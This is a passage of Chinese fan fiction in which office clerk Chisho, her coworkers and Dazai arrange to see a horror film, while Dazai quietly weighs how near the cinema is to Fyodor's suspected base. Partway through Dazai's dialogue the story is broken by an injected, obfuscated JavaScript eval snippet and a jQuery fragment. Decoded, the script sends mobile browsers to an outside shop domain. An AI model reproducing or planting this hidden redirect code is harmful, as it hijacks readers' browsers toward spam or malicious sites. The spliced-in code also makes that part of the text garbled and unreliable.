周日傍晚六点十七分，千绪补觉睡醒了靠在沙发上，手里拿着手机，面前是那张崭新的铁质茶几。
现在它安安稳稳地摆在客厅中央，上面放着一杯麦茶和半袋没吃完的虾味薯条。
她的手机屏幕上停着太宰治发来的两条消息。
第一条：
【铁的好。看来家具城也在给彼方小姐发暗示呢——“请购买能承受一切灾难的材质”。】
千绪看到“暗示”两个字的时候，条件反射地翻了个白眼。
这个词从上次在便利店被太宰治用来构建了那套荒谬的“便利店暗示你请客”理论之后，就变成了他们之间一个无法甩掉的烂梗。
她当时原话奉还成功堵住了太宰的嘴，但显然这个男人完全没有从失败中吸取教训的打算，反而把“暗示”这个词当成了一个可以无限复用的万能模板。
上次是便利店在暗示她请客。这次是家具城在暗示她买最抗造的材质。
照这个逻辑发展下去，下次她去药妆店买创可贴，太宰大概会说药妆店在暗示她今后的人生需要大量的外伤急救储备。
第二条：【明天上班的时候帮我带一杯自动贩卖机的罐装咖啡，最便宜的那种就行。我现在手边一分钱都没有，可能需要先赊一罐咖啡~】
千绪盯着这条消息看了几秒。
然后她打字回复。
【暗示这个词被你用出包月套餐的感觉了。铁质茶几的好处在于，就算下次再有什么东西砸下来，断的是那个东西不是桌子。】
【咖啡不带，自动贩卖机就在一楼，太宰先生的腿应该比我的长，走过去比我快。】
发完之后她把手机扣在茶几上。新茶几的磨砂表面传来一声沉闷的“咚”，比原来那张实木茶几的声音低了至少两个八度。
千绪满意地拍了拍桌面，结实。
——————
周一早上千绪准时到达了侦探社四楼。
她今天穿了一件深灰色的薄针织开衫，里面是白色衬衫，下身是洗得有些发白的牛仔裤和平底帆布鞋。
右手膝盖上贴着的兔子创可贴已经换成了普通的肤色款，镜花送的那个粉色兔子款在洗澡时脱落了，千绪觉得没有必要再特地去要一个新的。
办公室里已经有了人。国木田坐在自己的工位上，面前摊着一份手写的日程备忘，他的眼镜在晨光中反着冷光，看起来周末也没怎么休息。
敦还没到，乱步的椅子上只有一件搭着的斗篷，人不知道去了哪里。
太宰的工位上放着一罐没开封的罐装咖啡和一个信封——咖啡是最便宜的那种黑罐。
千绪走到自己的工位前，将挎包放在椅背上，先处理了桌面上周五留下的几份待归档文件。
她注意到自己的备用电脑已经被修好了，国木田大概在周末安排了加急维修，显示器边框上贴着一张便签，上面是国木田的字迹：“已更换电源模块，请确认数据完整性。”
千绪打开电脑，开始核对数据。
“早上好。”
千绪抬头。站在她工位旁边的是山田和川上。
山田穿的是一件深蓝色的衬衫裙，腋下夹着一个文件夹，棕色的短卷发别在耳后。
川上穿着米白色的开衫，手里端着一个印有侦探社logo的马克杯，黑色直发扎成了低马尾。
两个人都比千绪早入职至少一年，负责侦探社日常委托的文书归档和对外联络。
千绪来的第一天就是山田带她熟悉的办公流程，川上则教了她传真机的操作方法。
“早上好。”千绪回了一句，手指还搁在开机键上。
“说起来…”山田把文件夹换到另一只手，靠在千绪工位的隔板上。
她说话的语速偏快，“千绪酱，今天下班后有没有安排？”
“暂时没有，怎么了？”
“想不想一起去看电影？”川上接过话头，用马克杯的边缘指了指山田，“她上周就在说想看那部新上映的《死神来了》，但是一个人看太吓人，硬拉着我去，我说再拉一个人壮胆。”
“不是壮胆，”山田立刻纠正，“是觉得千绪酱应该来看，这种电影的主角和你的日常简直一模一样，各种不可思议的倒霉方式。”
山田和川上对视了一眼。她们都知道千绪上周五的事，当然不是详细的版本，侦探社内部对涉及异能犯罪的细节有保密要求。
但“新来的文员被卷进了坡先生的异能空间，结果反而把恐怖分子搞得落荒而逃”这个概要已经在非异能职员之间传开了。
对于一个入职一个月的新人来说，这件事的离谱程度足以让她在茶水间获得至少两个月的谈资。
“所以你们是想让我去进行田野调查？”千绪的语气很平，但嘴角动了一下。
“算是吧，”山田笑了起来，“看完之后你可以给我们写一份《现实与虚构的倒霉方式对比报告》，交给国木田先生存档。”
川上被逗笑了，差点把咖啡洒出来。
千绪看了看她杯子里的液面晃荡了一下又稳住了，考虑到自己目前的倒霉磁场强度，决定稍微和那个马克杯保持一点距离。
“哪家影院？”千绪问。
“港町Cinema，就是海岸通那条街上的那家，”川上把马克杯换到左手，用右手比了个方向，“离这儿坐电车三站，走路的话大概二十分钟。六点半那场有折扣票。”
“港町Cinema……”千绪重复了一遍这个名字。她对横滨的地理还不算太熟，但海岸通那一带她有印象，上周和太宰一起去特务科的时候经过了那片区域。
“知道在哪儿吗？不知道的话我下班带你走。”山田说。
办公室的另一端，太宰治不知道什么时候回到了自己的工位上。
他手里拿着一罐刚从自动贩卖机买来的罐装咖啡——最便宜的那种，黑色的铝罐上印着一行毫无设计感的白色字体。
他手上正在拉开黑色的铝罐上的拉环，动作很随意，像是完全沉浸在自己的世界里。
但他的视线没有落在咖啡罐上。
他的视线越过罐体的边缘，不动声色地停留在千绪这边。准确地说，是停留在川上刚才用手指向的那个方向，海岸通。
港町Cinema。
那家电影院所在的街区，距离他昨天在监控画面中标记的费奥多尔第二个疑似活动区域，步行距离不到四百米。
太宰的拇指将拉环完全掀开。铝罐发出一声清脆的“嗒”。
他没有说话，咖啡罐的开口处冒出一缕淡淡的白雾，在办公室干燥的空气中几乎立刻就消散了。
他端起罐子喝了一口，目光从千绪那边收回来，落回了自己桌面上摊开的那份文件上。
山田在千绪对面晃了晃文件夹，语气催促但不失耐心：“所以千绪酱，你来不来？”
“行啊，六点半那场的话刚好下班就能走。”千绪把刚开机的电脑屏幕调暗了一格，转头看向山田，“在哪儿集合？”
“一楼大门口，六点整。”山田用文件夹的一角敲了敲千绪的桌面，语气很利落，“我提前在手机上把票买了，到时候直接刷二维码进场，省得排队。”
“好。需要我先转账给你吗？”
“不用不用，回头一起算，”山田摆了摆手，棕色短卷发在动作间跟着晃了一下，“而且折扣票才一千二一张，不贵。”
千绪点头。川上在旁边喝了一口马克杯里的咖啡，补充了一句：“看完电影附近有一家章鱼烧还挺好吃的，不过那个时间可能要排队。”
“排队没关系，”山田说，“反正明天也不用早起——”
“那部电影讲的是什么？”
这个声音从办公室另一侧传过来的。不远，大概三四米的距离。
太宰治坐在自己的工位上，椅子靠背向后仰了一个角度，右手拿着那罐刚开的黑色铝罐咖啡，左手搁在扶手上，姿态松散，像是刚好听到了她们的对话，随口问了一句。
山田没在意，回头看了他一眼：“《死神来了》啊，就是那个，每次有人逃脱了死亡的命运，结果死神会用各种离谱的连锁反应重新把他们收掉的恐怖片系列。”
“太宰先生感兴趣？”
太宰用拇指摩挲着铝罐的拉环边缘，嘴角微微翘起来，露出一种像是发现了什么有意思的东西的表情。
“连锁反应。”他重复了这四个字，语调上扬，像是在品尝一颗味道不太寻常的糖。
然后他把视线从山田身上挪开，十分自然地扫过了千绪一眼，那个速度快到千绪几乎没有注意到。
“‘死神用不可思议的方式回收活着的人’——这算是一种相当有创意的自杀教材了。”太宰端起咖啡罐喝了一口，神情认真，“作为一个长期从事相关研究的人，我觉得我有义务去现场学习一下。”
山田发出一声短促的笑。
川上的马克杯悬在嘴边，表情有一点微妙，但也没有多说什么，太宰治在侦探社里的自杀发言频率大概已经让所有人都产生了抗体。
千绪在自己的位置上微微偏了偏头，看了太宰一眼。
“太宰先生，”她说，语速平稳，“你要去看恐怖片？”
“为什么不呢？”太宰困惑的挑了挑眉。
“因为你上周四花了整个午休时间研究哪条河最适合入水，感觉你的业余时间已经排得很满了。”
“好伤人的话啊彼方小姐！真是被看穿了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542316|203964||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
呢，下次我会小心翼翼地偷偷研究的”，太宰瞪大了那双鸢色眼睛，看起来很受伤地捧着自己心脏的位置。
“那今天晚上看完电影之后的饮料我请，就当你周末家里那张被我间接弄断的茶几的精神损失。”
千绪被他的转折搞得一愣，“茶几断了和你有什么关系？”
“你不觉得那张桌子是在因为我才断的吗？也许它是被我的存在吓坏了。”
千绪没有回应这个毫无逻辑的归因。她盯着太宰看了两秒，试图判断他到底是在开玩笑还是真的打算参加一个由三个文员组成的下班观影团。
在她认识太宰治的这段时间里，她从来没有看到他主动参加过任何形式的同事社交活动。
午休时间除了那次一一起去便利店以外，他不是跑去河边就是在天台晒太阳，下班之后更是消失得无影无踪。
国木田曾经在抱怨中透露过，太宰甚至连侦探社的年终聚餐都提前半天就溜走了。
而现在他站在这里，用一个站不住脚的茶几理论，正在申请加入她们的周一观影计划。
“山田前辈，”千绪转向山田，把这个判断题交给了在场资历最长的人，“你觉得呢？”
“我觉得挺好的呀。”山田的回答几乎是脱口而出的，“多一个人多一份安全感嘛，反正是恐怖片。太宰先生，你要坐哪个位置？靠走道还是中间？”
“走道。方便在被吓到的时候优雅地逃走~”
“你会被恐怖片吓到？”川上的语气带着一丝怀疑。
“当然会。如果死法不够有创意的话，我会被吓到，吓到生气。”太宰有些无奈地摆了摆手。
山田已经拿出手机开始操作了，指尖在屏幕上快速点了几下。“四张票，六点半，港町Cinema三号厅，K排12到15号——靠走道的那个给太宰先生。订好了。”
千绪看着山田把购票确认页面晃了一下展示给大家，然后锁屏收回口袋。
从提议到购票完成，整个过程大概不到两分钟。山田做事的效率确实很高。
“那就六点一楼大门见。”山田拍了拍千绪的肩膀，拿着文件夹走回了自己的工位。川上跟她说了一声“回头见”，也端着马克杯离开了。
办公室回到了周一上午的常规运转节奏。国木田的钢笔还在划纸，传真机又吐出了一份新的通报。
太宰没有立刻回到自己的位置。他在千绪的工位旁边又站了几秒。
千绪注意到了他的视线。
“怎么了？”
“没什么。”太宰说。他把视线收回来，端起桌面上的咖啡罐，慢悠悠地走回了自己那边。
千绪目送他走了几步，然后转回电脑屏幕。邮箱里有三封未读邮件，最上面一封是IT部门发来的新主机使用须知。她双击打开，开始阅读。
但在阅读到第二段的时候，她的手指在键盘上停了一下。
太宰治要去看《死神来了》。
这件事本身并不奇怪，任何人都可以去看任何电影。
但太宰治主动申请参加三个文员的下班聚会这件事，放在他身上，就像是国木田突然宣布今天不用写报告了一样，属于一种结构性的反常。
千绪没有继续想下去。她把视线重新对准了屏幕上的邮件正文。
太宰那边，他已经坐回了自己的椅子上。咖啡罐放在手边，文件摊开在面前。
他的右手拿着笔在文件边缘写了一个什么字，可能是“已读”，可能是别的什么。左手无意识地转了一下咖啡罐，铝罐底部在桌面上画出一个小小的弧。
十五分钟前他听到“港町Cinema”这个名字的时候，他脑中的第一反应是情报性的，那个位置距离费奥多尔的第二疑似活动区域步行不到四百米。
这是他提出同行的初始动机，至少在那个瞬间是这样的。
但在他开口之后的某个时间点，也许是在山田问他“坐哪个位置”的时候，也许更早一些。
他在脑内做了一次无声的时间比对。
今晚六点半到八点半的观影时段，与费奥多尔在该区域的活动窗口不重叠。
后者的活动规律偏向于凌晨，这一点已经通过安吾提供的城市监控数据和昨天变电站的分析得到了初步确认。
也就是说，他去港町Cinema看一场晚间电影，对追踪费奥多尔的行踪不会产生任何帮助。
他在完成这个计算的瞬间就意识到了这一点。
但他没有因此撤回同行的提议。
太宰拿起咖啡罐又喝了一口。罐装咖啡的温度已经接近室温了，金属味和咖啡的苦味混在一起，不太好喝。
然后他翻开文件的下一页，继续处理周一的日常工作。